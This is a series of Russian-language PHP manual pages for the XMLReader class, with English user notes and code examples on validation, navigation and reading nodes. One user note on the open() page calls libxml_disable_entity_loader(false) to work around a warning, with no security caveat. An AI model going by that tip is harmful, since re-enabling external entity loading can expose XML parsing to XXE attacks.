XMLReader::isValid — Указывает, содержит ли анализируемый документ синтаксические ошибки

Описание

public XMLReader::isValid(): bool

Метод возвращает логическое значение, которое указывает, соответствует ли анализируемый документ схеме DTD, XML или RelaxNG. Метод вернёт false, если схемы нет и опцию проверки DTD не указали.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если документ не содержит синтаксических ошибок, иначе false.

Примеры

Пример #1 Проверка правильности XML-документа

<?php

$xml = XMLReader::open('test.xml');

// Для работы метода обязательно нужно включить
// валидацию парсера
$xml->setParserProperty(XMLReader::VALIDATE, true);

var_dump($xml->isValid());

?>

Примечания

Замечание: Метод проверяет только текущий узел, а не весь документ.

Смотрите также

  • XMLReader::setParserProperty() - Устанавливает опцию парсера
  • XMLReader::setRelaxNGSchema() - Установить имя файла или URI для схемы RelaxNG
  • XMLReader::setRelaxNGSchemaSource() - Устанавливает данные, содержащие схему RelaxNG
  • XMLReader::setSchema() - Проверить документ, используя XSD

User Contributed Notes

me at lubu dot ch 31-May-2022 09:54
Be aware that $xml->isValid() will return validity only for currently active node, so you have to loop trough the nodes.

Here is a example how to validate a entire XML file against a XSD schema:

<?php

$xmlReader = new \XMLReader();
$xmlReader->open('./example.xml');
$xmlReader->setParserProperty(\XMLReader::VALIDATE, true);
$xmlReader->setSchema('./schema.xsd');

\libxml_use_internal_errors(true);

$msgs = [];

while ($xmlReader->read()) {
    if (!$xmlReader->isValid()) {
        $err = \libxml_get_last_error();
        if ($err && $err instanceof \libXMLError) {
            $msgs[] = \trim($err->message) . ' on line ' . $err->line;
        }
    }
}

if ($msgs) {
    throw new \Exception("XML schema validation errors:\n - " . implode("\n - ", array_unique($msgs)));
}
?>
zubin at trattonuovo dot com 20-Jan-2010 03:00
I encountered some problems to use isValid method with xml2assoc function.
I use this way to validate the entire xml file and put it into an associative array.

$xml = new XMLReader();
if (!$xml->xml($xml_string, NULL, LIBXML_DTDVALID)) {
  echo "XML not valid: load error";
  exit();
}

libxml_use_internal_errors(TRUE);

$xml_array = xml2assoc($xml);

$arErrors = libxml_get_errors();
$xml_errors = "";
foreach ($arErrors AS $xmlError) $xml_errors .= $xmlError->message;
if ($xml_errors != "") {
  echo "XML not valid: ".$xml_errors;
  exit();
}

//all ok
remy dot damour at laposte dot net 31-Dec-2008 03:27
1. If you validate against relax-ng, no need to call $xml->setParserProperty(XMLReader::VALIDATE, true);

2. Be aware that $xml->isValid() will return validity for currently active node (ie. node currently positioned using $xml->read()). It won't check validity of your entire tree at once, but rather on a step by step basis
anzenews at volja dot net 22-Jan-2008 10:50
This comment is only partially correct:
"isValid() always returns false unless you enable checking for validity by $reader->setParserProperty(XMLReader::VALIDATE, true);"
This enables DTD checking, but you can also check by using RelaxNG (see setRelaxNGSchema() and setRelaxNGSchemaSource()).

And also, this is NOT correct:
"If you just need to check if XML file is well formed, successful loading into XMLReader object is usually enough."
It is not enough. Pull parsers operate on stream and if you have a large enough file they will not know it is well formed until it is read to the end. If you need to know if it is well formed or/and valid, read it till the end or validation error (you can use next() for fast reading if you don't care about contents).


Найти пространство имён для префикса

  • « XMLReader::isValid
  • XMLReader::moveToAttribute »
  • PHP Manual
  • XMLReader
  • Найти пространство имён для префикса

XMLReader::lookupNamespace

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::lookupNamespace — Найти пространство имён для префикса

Описание

public XMLReader::lookupNamespace(string $prefix): ?string

Поиск в контексте пространства имён для данного префикса.

Список параметров

prefix

Строка, содержащая префикс.

Возвращаемые значения

Значение пространства имён или null, если пространства имён не существует.

Список изменений

Версия | Описание
8.0.0 | Функция больше не может возвращать false.

User Contributed Notes

There are no user contributed notes for this page.


Переместить курсор к атрибуту с заданным именем

  • « XMLReader::lookupNamespace
  • XMLReader::moveToAttributeNo »
  • PHP Manual
  • XMLReader
  • Переместить курсор к атрибуту с заданным именем

XMLReader::moveToAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::moveToAttribute — Переместить курсор к атрибуту с заданным именем

Описание

public XMLReader::moveToAttribute(string $name): bool

Позиционирует курсор на атрибуте с заданным именем.

Список параметров

name

Имя атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttributeNo() - Переместить курсор на атрибут по индексу
  • XMLReader::moveToAttributeNs() - Переместить курсор к именованному атрибуту
  • XMLReader::moveToFirstAttribute() - Переместить позицию курсора на первый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Переместить курсор на атрибут по индексу

  • « XMLReader::moveToAttribute
  • XMLReader::moveToAttributeNs »
  • PHP Manual
  • XMLReader
  • Переместить курсор на атрибут по индексу

XMLReader::moveToAttributeNo

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::moveToAttributeNo — Переместить курсор на атрибут по индексу

Описание

public XMLReader::moveToAttributeNo(int $index): bool

Устанавливает курсор на атрибуте, основываясь на его позиции.

Список параметров

index

Позиция атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем
  • XMLReader::moveToAttributeNs() - Переместить курсор к именованному атрибуту
  • XMLReader::moveToFirstAttribute() - Переместить позицию курсора на первый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Переместить курсор к именованному атрибуту

  • « XMLReader::moveToAttributeNo
  • XMLReader::moveToElement »
  • PHP Manual
  • XMLReader
  • Переместить курсор к именованному атрибуту

XMLReader::moveToAttributeNs

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::moveToAttributeNs — Переместить курсор к именованному атрибуту

Описание

public XMLReader::moveToAttributeNs(string $name, string $namespace): bool

Позиционирует курсор на именованном атрибуте в указанном пространстве имён.

Список параметров

name

Локальное имя.

namespace

URI пространства имён.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем
  • XMLReader::moveToAttributeNo() - Переместить курсор на атрибут по индексу
  • XMLReader::moveToFirstAttribute() - Переместить позицию курсора на первый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Позиционировать курсор на родительском элементе текущего атрибута

  • « XMLReader::moveToAttributeNs
  • XMLReader::moveToFirstAttribute »
  • PHP Manual
  • XMLReader
  • Позиционировать курсор на родительском элементе текущего атрибута

XMLReader::moveToElement

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::moveToElement — Позиционировать курсор на родительском элементе текущего атрибута

Описание

public XMLReader::moveToElement(): bool

Перемещает курсор на родительский элемент текущего атрибута.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения и false в случае неудачи или если невозможно выполнить позиционирование курсора на атрибуте, когда этот метод вызывается.

Смотрите также

  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем
  • XMLReader::moveToAttributeNo() - Переместить курсор на атрибут по индексу
  • XMLReader::moveToAttributeNs() - Переместить курсор к именованному атрибуту
  • XMLReader::moveToFirstAttribute() - Переместить позицию курсора на первый атрибут

User Contributed Notes

Sean Colin Ruiz 08-Jan-2017 08:54
On an element like this: <self_closing attribute="1" /> isEmptyElement will return FALSE after you have iterated through the attributes.  So you need to use implicitly call moveToElement(), in order to move the cursor back to the parent element and use isEmptyElement again.


Переместить позицию курсора на первый атрибут

  • « XMLReader::moveToElement
  • XMLReader::moveToNextAttribute »
  • PHP Manual
  • XMLReader
  • Переместить позицию курсора на первый атрибут

XMLReader::moveToFirstAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::moveToFirstAttribute — Переместить позицию курсора на первый атрибут

Описание

public XMLReader::moveToFirstAttribute(): bool

Перемещает позицию курсора на первый атрибут.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем
  • XMLReader::moveToAttributeNo() - Переместить курсор на атрибут по индексу
  • XMLReader::moveToAttributeNs() - Переместить курсор к именованному атрибуту
  • XMLReader::moveToNextAttribute() - Переместить позицию курсора на следующий атрибут

User Contributed Notes

There are no user contributed notes for this page.


Переместить позицию курсора на следующий атрибут

  • « XMLReader::moveToFirstAttribute
  • XMLReader::next »
  • PHP Manual
  • XMLReader
  • Переместить позицию курсора на следующий атрибут

XMLReader::moveToNextAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::moveToNextAttribute — Переместить позицию курсора на следующий атрибут

Описание

public XMLReader::moveToNextAttribute(): bool

Перемещает курсора к следующему атрибуту, если курсор спозиционирован на атрибуте или перемещает позицию на первый атрибут, если спозиционирован на элементе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем
  • XMLReader::moveToAttributeNo() - Переместить курсор на атрибут по индексу
  • XMLReader::moveToAttributeNs() - Переместить курсор к именованному атрибуту
  • XMLReader::moveToFirstAttribute() - Переместить позицию курсора на первый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Переместить курсор на следующий узел, пропуская все поддеревья

  • « XMLReader::moveToNextAttribute
  • XMLReader::open »
  • PHP Manual
  • XMLReader
  • Переместить курсор на следующий узел, пропуская все поддеревья

XMLReader::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::next — Переместить курсор на следующий узел, пропуская все поддеревья

Описание

public XMLReader::next(?string $name = null): bool

Позиционирует курсор на следующем узле, пропуская все поддеревья. Если такой узел не существует, курсор перемещается в конец документа.

Список параметров

name

Имя следующего узла для перехода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | name теперь допускает значение null.

Смотрите также

  • XMLReader::moveToNextAttribute() - Переместить позицию курсора на следующий атрибут
  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем

User Contributed Notes

Quiet Noise 13-Apr-2019 01:39
next() without parameters will bring you to the next sibling node on the same depth as the depth where the current cursor is.
Examples:
1. If you are on an opening ELEMENT node next() will bring you to the new line node next to the closing tag of that element (i.e. if you have each tag in separate line) or it will bring you to the opening tag of next node on the same depth.
2. If you are on a TEXT node next() will bring you to the opening tag if there is one next to it.

If there are no more nodes on the given depth next() will bring you to the closing tag (END_ELEMENT) of the wrapping parent.
ppp dot BOTSNEEDNOTAPPLY at salesfloor dot net 08-Sep-2015 09:48
This method appears to follow these rules:

 - if $localName names a sibling node, the cursor is moved to that node;
 - if $localName names an ancestor node, the cursor is moved to the end of that node;
 - if $localName names a node that is a sibling of any of the current node's ancestors, the cursor is moved to that node;
 - otherwise the cursor is moved outside the document.

Note especially that this method never moves the cursor to child nodes.

For example, given this XML document

<?xml version="1.0" encoding="UTF-8"?>
<root id="root" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <aaa id="1">
    <bbb id="1.1"></bbb>
    <bbb id="1.2"></bbb>
  </aaa>
  <ccc id="2" />
  <aaa id="3">
    <ddd id="3.1">
      <aaa id="3.1.1"></aaa>
    </ddd>
    <aaa id="3.2"></aaa>
  </aaa>
  <aaa id="4">
    <eee id="4.1"></eee>
  </aaa>
</root>

going from <root id="root"> to "bbb" places the cursor outside the document;
going from <aaa id="1"> to "bbb" places the cursor outside the document;
going from <aaa id="1"> to "aaa" places the cursor on <aaa id="3">;
going from <bbb id="1.1"> to "bbb" places the cursor on <bbb id="1.2">;
going from <bbb id="1.2"> to "bbb" places the cursor outside the document;
going from <bbb id="1.1"> to "ddd" places the cursor outside the document;
going from <bbb id="1.1"> to "aaa" places the cursor on </aaa>;
going from <bbb id="1.1"> to "ccc" places the cursor on <ccc id="2">;
going from <bbb id="1.1"> to "nonsuch" places the cursor outside the document;
going from <bbb id="1.1"> to "root" places the cursor on </root>;
going from <ddd id="3.1"> to "aaa" places the cursor on <aaa id="3.2">;
going from <ddd id="3.1"> to "eee" places the cursor outside the document;

Try it yourself:

<?php

$document = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root id="root" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <aaa id="1">
    <bbb id="1.1"></bbb>
    <bbb id="1.2"></bbb>
  </aaa>
  <ccc id="2" />
  <aaa id="3">
    <ddd id="3.1">
      <aaa id="3.1.1"></aaa>
    </ddd>
    <aaa id="3.2"></aaa>
  </aaa>
  <aaa id="4">
    <eee id="4.1"></eee>
  </aaa>
</root>
XML;

$filename = "/tmp/xmlreader.php.xml";
file_put_contents($filename, $document);

echo "given this XML document\n\n$document\n\n";

showNext("root", "bbb");
showNext("1", "bbb");
showNext("1", "aaa");
showNext("1.1", "bbb");
showNext("1.2", "bbb");
showNext("1.1", "ddd");
showNext("1.1", "aaa");
showNext("1.1", "ccc");
showNext("1.1", "nonsuch");
showNext("1.1", "root");
showNext("3.1", "aaa");
showNext("3.1", "eee");

function showNext($from, $to) {
  global $filename;

  $xml = new \XmlReader();
  $xml->open("file://$filename");
  while ($xml->read()) {
    if ($xml->nodeType === \XmlReader::ELEMENT) {
      if ($xml->getAttribute("id") == $from) {
        echo "going from <$xml->name id=\"$from\">";
        break;
      }
    }
  }

  $xml->next($to);
  $destination = "";
  if($xml->nodeType === \XmlReader::NONE) {
    if(!$xml->read()) {
      $destination = "outside the document";
    }
  }

  if(!$destination) {
    if ($xml->nodeType === \XmlReader::END_ELEMENT) {
      $destination = "on </$xml->name>";
    } else if ($xml->nodeType === \XmlReader::ELEMENT) {
      $destination = "on <$xml->name id=\"" . $xml->getAttribute("id") . "\">";
    }
  }

  echo " to \"$to\" places the cursor $destination;\n";

  $xml->close();
}
?>
gholson19 at gmail dot com 13-May-2015 09:21
To skip over deletion nodes in the xml extracted from a word document, do something like this:

if ($paragraph->nodeType == XMLREADER::ELEMENT && $paragraph->name === 'w:del'){$paragraph->next();}


Установить URI, содержащий XML-документ для разбора

  • « XMLReader::next
  • XMLReader::read »
  • PHP Manual
  • XMLReader
  • Установить URI, содержащий XML-документ для разбора

XMLReader::open

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::open — Установить URI, содержащий XML-документ для разбора

Описание

public static XMLReader::open(string $uri, ?string $encoding = null, int $flags = 0): bool|XMLReader

Установить URI, содержащий XML-документ, который будет разобран.

Список параметров

uri

URI, указывающий на документ.

encoding

Кодировка документа или null.

flags

Битовая маска, состоящая из LIBXML_* констант.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка. при статическом вызове, возвращается XMLReader или false, если возникла ошибка.

Ошибки

метод можно вызывать статически, но до PHP 8.0.0 в этом случае выдаётся ошибка E_DEPRECATED.

Список изменений

Версия | Описание
8.0.0 | XMLReader::open() теперь объявлен как статический метод, но всё ещё может быть вызван в экземпляре XMLReader.

Смотрите также

  • XMLReader::xml() - Установить данные, содержащие XML для разбора
  • XMLReader::close() - Закрыть ввод XMLReader

User Contributed Notes

den at nurfuerspam dot de 29-Apr-2017 10:08
If you like to read the XML from HTTP whit a POST request, you can use libxml_set_streams_context.
Example:

<?php

$param = array('http' => array(
    'method' => 'POST',
    'header' => "Content-type: application/x-www-form-urlencoded\r\n",
    'content' => http_build_query(array(
        'post_param1' => 'value1',
        'post_param2' => 'value2',
    )),
));
libxml_set_streams_context(stream_context_create($param));
$reader = XMLReader::open('https://example.com/get.php?get_param=value3');

?>
dave at sophoservices dot com 02-Dec-2016 07:43
When using the XmlReader to read local XML files, remember it the open function requests a URI. Add 'file://' to the front of the FULL path to the XML. Otherwise you may get:

PHP Warning:  XMLReader::open(): Unable to open source data in ...
mood(_a_)twolate.com 14-Oct-2016 11:03
For some reasons, the open() method keep throwing me this error :

PHP Warning:  XMLReader::open(): Unable to open source data in /var/www/nota/ethamap/fat_xml.php

It doesn't make sense as the xml file target hosted on my server is perfectly reachable. Adding this line before invoking open() fixed it :

libxml_disable_entity_loader(false);

Please view https://bugs.php.net/bug.php?id=62577
It is somehow related.
alvaro at demogracia dot com 14-Nov-2014 12:35
XML can optionally declare its own encoding:

    <?xml version="1.0" encoding="UTF-8"?>

You can use the $encoding parameter to provide this information (if missing) or override it (if wrong).

Output is always UTF-8 (that's how libxml works).
crungmungus at gmail dot com 15-Sep-2008 05:11
Windows users remember to enable php_openssl.dll in your php.ini if you want to be able to use this function (and others) with a HTTPS URL.


Переместиться к следующему узлу в документе

  • « XMLReader::open
  • XMLReader::readInnerXml »
  • PHP Manual
  • XMLReader
  • Переместиться к следующему узлу в документе

XMLReader::read

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::read — Переместиться к следующему узлу в документе

Описание

public XMLReader::read(): bool

Перемещает курсор к следующему узлу в документе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::moveToElement() - Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToAttribute() - Переместить курсор к атрибуту с заданным именем
  • XMLReader::next() - Переместить курсор на следующий узел, пропуская все поддеревья

User Contributed Notes

peter at 3xe dot co dot uk 13-Oct-2016 12:08
Another approach to the 'also reads closing tags' gotcha:

<?php
$reader = new XMLReader();
$reader->open('users.xml');

while ($reader->read()) {
  if ($reader->nodeType == XMLReader::END_ELEMENT) {
    continue; //skips the rest of the code in this iteration
  }
  //do something with desired node type
  if($reader->name == 'user') {
    //...
  }
}
?>
Anonymous 20-Mar-2015 09:49
> I would have liked to use the next() function instead, but as I needed to parse 2 different subtrees, I couldn't figure out how to find all the columns, reset the pointer, and then find all the rows.

I just use:

$reader->close();
$reader->open($url);

to reset the pointer.
ecziegler at gmail 29-Jan-2014 12:27
If like myself you have been turning the interwebz upside down looking for a solution for this issue:
PHP Warning:  XMLReader::read(): /tmp/xml_feed.xml:4183934: parser error : Input is not proper UTF-8, indicate encoding !

For some reason, this warning breaks the execution - is it a fatal error in disguise?

After days of frustration I found it!!!!
tidy -xml -o output.xml -utf8 -f error.log input.xml

You can invoque tidy using exec, It takes several seconds to convert a 250Mb feed, but it worthy the time.

In my case the issue was with latin1 charset, and for some reason I had to pass the xml through tidy 2 times - first time around creates new errors, second time it fixes everything.

I know invalid xml should be fixed by xml creators, but it works differently in the real world.
Nate 27-Jun-2011 10:49
It is interesting to note that this function will stop on closing tags as well.  I have an XML document similar to the following:

<root>
  <columns>
    <column>columnX</column>
    <column>columnY</column>
  </columns>
  <table>
    <row>
      <columnX>38</columnX>
      <columnY>50</columnY>
    </row>
    <row>
      <columnX>82</columnY>
      <columnY>28</columnY>
    </row>
    ...
  </table>
</root>

I need to parse the <columns> object to know what attributes to check for from each <row> node.  Therefore I was doing the following:

<?php
while ($xml->read()) {
  if ($xml->name === 'column') {
   //parse column node to into $columns array
  }
  elseif ($xml->name === 'row') {
    //parse row node, using constructed $columns array
  }
}
?>

This kind of worked in that I ended up with an array of all the data I wanted, but the array I constructed was twice as large as I expected and every other entry was empty.  Took me a while to debug, but finally figured out that checking <?php $xml->name === 'row' ?> matches both <row> and </row>, so the check should really be something more like:

<?php

if ($xml->name === 'row' && $xml->nodeType == XMLReader::ELEMENT) {
  // parse row node
}

?>

I would have liked to use the next() function instead, but as I needed to parse 2 different subtrees, I couldn't figure out how to find all the columns, reset the pointer, and then find all the rows.
andy at siliconrockstar dot com 16-May-2011 01:01
A very simple way to avoid typing $reader->read() multiple times when you want to skip some nodes:

<?php
class smartXMLReader extends XMLReader {
    public function readTimes($count) {
        $i = 0;
        while($i < $count){
            $this->read();
            $i++;
        }
    }
}
?>

Using this smartXMLReader,

<?php
$reader->readTimes(3);
?>

is equivalent to

<?php
$reader->read();
$reader->read();
$reader->read();
?>

Makes getting around in your XML document a bit easier :)
jirka at kosek dot cz 08-Feb-2006 01:01
libxml2 contains much more useful method readString() that will read and return whole text content of element. You can call it after receiving start tag (XMLReader::ELEMENT). You can use this PHP code to emulate this method until PHP will directly call underlying libxml2 implementation.

<?php
class XMLReader2 extends XMLReader
{
  function readString()
  {
        $depth = 1;
        $text = "";

        while ($this->read() && $depth != 0)
        {
            if (in_array($this->nodeType, array(XMLReader::TEXT, XMLReader::CDATA, XMLReader::WHITESPACE, XMLReader::SIGNIFICANT_WHITESPACE)))
                $text .= $this->value;
            if ($this->nodeType == XMLReader::ELEMENT) $depth++;
            if ($this->nodeType == XMLReader::END_ELEMENT) $depth--;
        }
        return $text;
    }
}
?>

Just use XMLReader2 instead of XMLReader.


Извлечь XML из текущего узла

  • « XMLReader::read
  • XMLReader::readOuterXml »
  • PHP Manual
  • XMLReader
  • Извлечь XML из текущего узла

XMLReader::readInnerXml

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

XMLReader::readInnerXml — Извлечь XML из текущего узла

Описание

public XMLReader::readInnerXml(): string

Читает содержимое текущего узла, включая дочерние узлы и разметку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое текущего узла в виде строки. Пустая строка возвращается в случае возникновения ошибки.

Примечания

Предостережение

Эта функция доступна только если PHP скомпилирован с поддержкой libxml 20620 или старше.

Смотрите также

  • XMLReader::readString() - Прочитать содержимое текущего узла как строку
  • XMLReader::readOuterXml() - Получить XML из текущего узла, включая сам узел
  • XMLReader::expand() - Возвратить копию текущего узла в виде объекта DOM

User Contributed Notes

There are no user contributed notes for this page.


Получить XML из текущего узла, включая сам узел

  • « XMLReader::readInnerXml
  • XMLReader::readString »
  • PHP Manual
  • XMLReader
  • Получить XML из текущего узла, включая сам узел

XMLReader::readOuterXml

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

XMLReader::readOuterXml — Получить XML из текущего узла, включая сам узел

Описание

public XMLReader::readOuterXml(): string

Читает содержимое текущего узла, включая сам узел.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое текущего узла, включая сам узел как строку. В случае возникновения ошибки строка будет пустой.

Примечания

Предостережение

Эта функция доступна только если PHP скомпилирован с поддержкой libxml 20620 или старше.

Смотрите также

  • XMLReader::readString() - Прочитать содержимое текущего узла как строку
  • XMLReader::readInnerXml() - Извлечь XML из текущего узла
  • XMLReader::expand() - Возвратить копию текущего узла в виде объекта DOM

User Contributed Notes

ralf dot horlebein at web dot de 21-Jul-2014 10:57
Please note that empty tags like <span></span> will be automatically converted to the short notation <span />.  This could cause trouble in some cases.
simon at avalon dot net dot nz 16-Mar-2011 04:35
Be aware that when you extract a piece of XML from a larger XML document using the readOuterXML() function, it tries to determine the namespaces (as defined in the original XML document) that apply to the new piece, and inserts them into the appropriate tags as xmlns attributes. This can be disconcerting, but it should be a benign alteration in most cases, and I understand that it causes the new chunk of XML to be correctly formatted so it is valid in it's own right.

As far as I'm aware it's not possible to change this behaviour.


Прочитать содержимое текущего узла как строку

  • « XMLReader::readOuterXml
  • XMLReader::setParserProperty »
  • PHP Manual
  • XMLReader
  • Прочитать содержимое текущего узла как строку

XMLReader::readString

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

XMLReader::readString — Прочитать содержимое текущего узла как строку

Описание

public XMLReader::readString(): string

Читает содержимое текущего узла как строку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое текущего узла в виде строки. В случае возникновения ошибки строка будет пустой.

Примечания

Предостережение

Эта функция доступна только если PHP скомпилирован с поддержкой libxml 20620 или старше.

Смотрите также

  • XMLReader::readOuterXml() - Получить XML из текущего узла, включая сам узел
  • XMLReader::readInnerXml() - Извлечь XML из текущего узла
  • XMLReader::expand() - Возвратить копию текущего узла в виде объекта DOM

User Contributed Notes

alexander_behling at web dot de 25-Jan-2018 03:37
Important:
When using it use -> instead of ::.
You have to use :: only on static functions and then you have not to create a class object.
Lea Hayes 07-Jun-2011 01:51
I would like to reiterate that this does not work when compiled with versions of libxml lower than 20620. I found that it just presents a blank page.

<?php $string = $reader->readString(); ?>

I worked around this issue by adding the following helper function:

<?php
function read_string($reader) {
    $node = $reader->expand();
    return $node->textContent;
}
?>

And then using:

<?php $string = read_string($reader); ?>
Michael Rusch 18-May-2009 10:27
For those who, like me, are having trouble figuring out the difference between getString() an getInnerXML(), the difference is that getString() does NOT include markup.  So, for:

<foo>bar<baz>Hello, world!</baz></foo>

getString() on the <foo> node would return

bar Hello, world!

whereas getInnerXML() would return

bar<baz>Hello, world!</baz>


Устанавливает опцию парсера

  • « XMLReader::readString
  • XMLReader::setRelaxNGSchema »
  • PHP Manual
  • XMLReader
  • Устанавливает опцию парсера

XMLReader::setParserProperty

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::setParserProperty — Устанавливает опцию парсера

Описание

public XMLReader::setParserProperty(int $property, bool $value): bool

Устанавливает опции для парсера. Опции должны быть установлены после вызова XMLReader::open() или XMLReader::xml() и до первого вызова XMLReader::read().

Список параметров

property

Одна из констант опций парсера.

value

Если установлено в true, то опция будет включена, в противном случае опция будет выключена.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Установить имя файла или URI для схемы RelaxNG

  • « XMLReader::setParserProperty
  • XMLReader::setRelaxNGSchemaSource »
  • PHP Manual
  • XMLReader
  • Установить имя файла или URI для схемы RelaxNG

XMLReader::setRelaxNGSchema

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::setRelaxNGSchema — Установить имя файла или URI для схемы RelaxNG

Описание

public XMLReader::setRelaxNGSchema(?string $filename): bool

Устанавливает имя файла или URI для схемы RelaxNG, которые используются при проверке.

Список параметров

filename

Имя файла или URI, указывающий на схему RelaxNG.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::setRelaxNGSchemaSource() - Устанавливает данные, содержащие схему RelaxNG
  • XMLReader::setSchema() - Проверить документ, используя XSD
  • XMLReader::isValid() - Указывает, содержит ли анализируемый документ синтаксические ошибки

User Contributed Notes

remy dot damour at laposte dot net 30-Dec-2008 04:40
Make sure to load your data prior to calling ->setRelaxNGSchema() otherwise you will get an error.

<?php
$xml_reader = new XMLReader();
$xml_reader->setRelaxNGSchema($rng_schema);
$xml_reader->xml($xml_data);
?>
Above code generates the following warning: "Warning: XMLReader::setRelaxNGSchemaSource()
[xmlreader.setrelaxngschemasource]: Unable to set schema. This must be
set prior to reading or schema contains errors."

whereas the following does not generate a warning:
<?php
$xml_reader = new XMLReader();
$xml_reader->xml($xml_data); // or $xml_reader->xml($xml_file);
$xml_reader->setRelaxNGSchema($rng_schema);
?>

cf. http://bugs.php.net/bug.php?id=46978


Устанавливает данные, содержащие схему RelaxNG

  • « XMLReader::setRelaxNGSchema
  • XMLReader::setSchema »
  • PHP Manual
  • XMLReader
  • Устанавливает данные, содержащие схему RelaxNG

XMLReader::setRelaxNGSchemaSource

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::setRelaxNGSchemaSource — Устанавливает данные, содержащие схему RelaxNG

Описание

public XMLReader::setRelaxNGSchemaSource(?string $source): bool

Устанавливает данные, содержащие схему RelaxNG, используемую при проверке.

Список параметров

source

Строка, содержащая схему RelaxNG.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::setRelaxNGSchema() - Установить имя файла или URI для схемы RelaxNG
  • XMLReader::setSchema() - Проверить документ, используя XSD
  • XMLReader::isValid() - Указывает, содержит ли анализируемый документ синтаксические ошибки

User Contributed Notes

remy dot damour at laposte dot net 30-Dec-2008 04:43
If you get the following warning message when calling ->setRelaxNGSchemaSource(): "Warning: XMLReader::setRelaxNGSchemaSource()
[xmlreader.setrelaxngschemasource]: Unable to set schema. This must be
set prior to reading or schema contains errors."

Make sure to load data using XMLReader::open() or XMLReader::xml() prior to calling XMLReader::setRelaxNGSchemaSource().

Cf. comment on XMLReader::setRelaxNGSchema for more details.
anzenews at volja dot net 21-Jan-2008 12:18
This function and setRelaxNGSchema() seem picky about when they are called - right after the call to open(). For example:

<?php
  $schema="/path/to/schema.rng";
  $xmlfile="/path/to/xml.xml";

  $xml = new XMLReader();
  $xml->open($xmlfile);
  $xml->setRelaxNGSchemaSource(file_get_contents($schema));

  while ($xml->read()) {
   // ...
  }

  $xml->close();
?>


Проверить документ, используя XSD

  • « XMLReader::setRelaxNGSchemaSource
  • XMLReader::XML »
  • PHP Manual
  • XMLReader
  • Проверить документ, используя XSD

XMLReader::setSchema

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

XMLReader::setSchema — Проверить документ, используя XSD

Описание

public XMLReader::setSchema(?string $filename): bool

Использует схему W3C XSD для проверки документов в процессе работы. Активация возможна только до первого вызова Read().

Список параметров

filename

Имя файла XSD схемы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Предупреждение E_WARNING возникает, если libxml был собран без поддержки схем, схема содержит ошибки или если функция XMLReader::read() уже была вызвана.

Примечания

Предостережение

Эта функция доступна только если PHP скомпилирован с поддержкой libxml 20620 или старше.

Смотрите также

  • XMLReader::setRelaxNGSchema() - Установить имя файла или URI для схемы RelaxNG
  • XMLReader::setRelaxNGSchemaSource() - Устанавливает данные, содержащие схему RelaxNG
